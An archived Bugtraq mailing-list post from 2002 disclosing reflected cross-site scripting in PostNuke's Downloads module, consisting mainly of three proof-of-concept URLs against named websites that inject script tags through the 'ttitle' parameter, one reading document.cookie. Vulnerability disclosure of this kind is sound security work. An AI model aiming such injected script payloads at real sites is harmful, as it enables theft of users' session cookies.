[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

CrossSiteScripting PostNuke.

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: CrossSiteScripting PostNuke.
From: rolphin <rolphin@xxxxxxx>
Date: Sun, 6 Jan 2002 18:38:38 +0100
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
Organization: expert-gamers.com

http://www.testnuke.com/modules.php?op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=2&ttitle=%3Cscript%3Ealert(document.location)%3C/script%3E

http://www.nukeaddon.com/modules.php?op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=1&ttitle=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.boomtchak.net/modules.php?op=modload&name=Downloads&file=index&req=viewdownloaddetails&lid=67&ttitle=%3Cscript%3Ealert(document.location)%3C/script%3E


This is in the download module, and these are from postnuke.
I only search for 3 minutes and follow links in the main postnuke page.



I really think you should quit smocking =]
" Air.

-- 
rolphin

Prev by Date: Re: [AP] awhttpd v2.2 local DoS
Next by Date: Re: Pine 4.33 (at least) URL handler allows embedded commands.
Previous by thread: Re: AW: IE https certificate attack
Next by thread: Denial of Service flaw in Apache
Index(es):
- Date
- Thread

This mailing list archive is a service of Copilotco.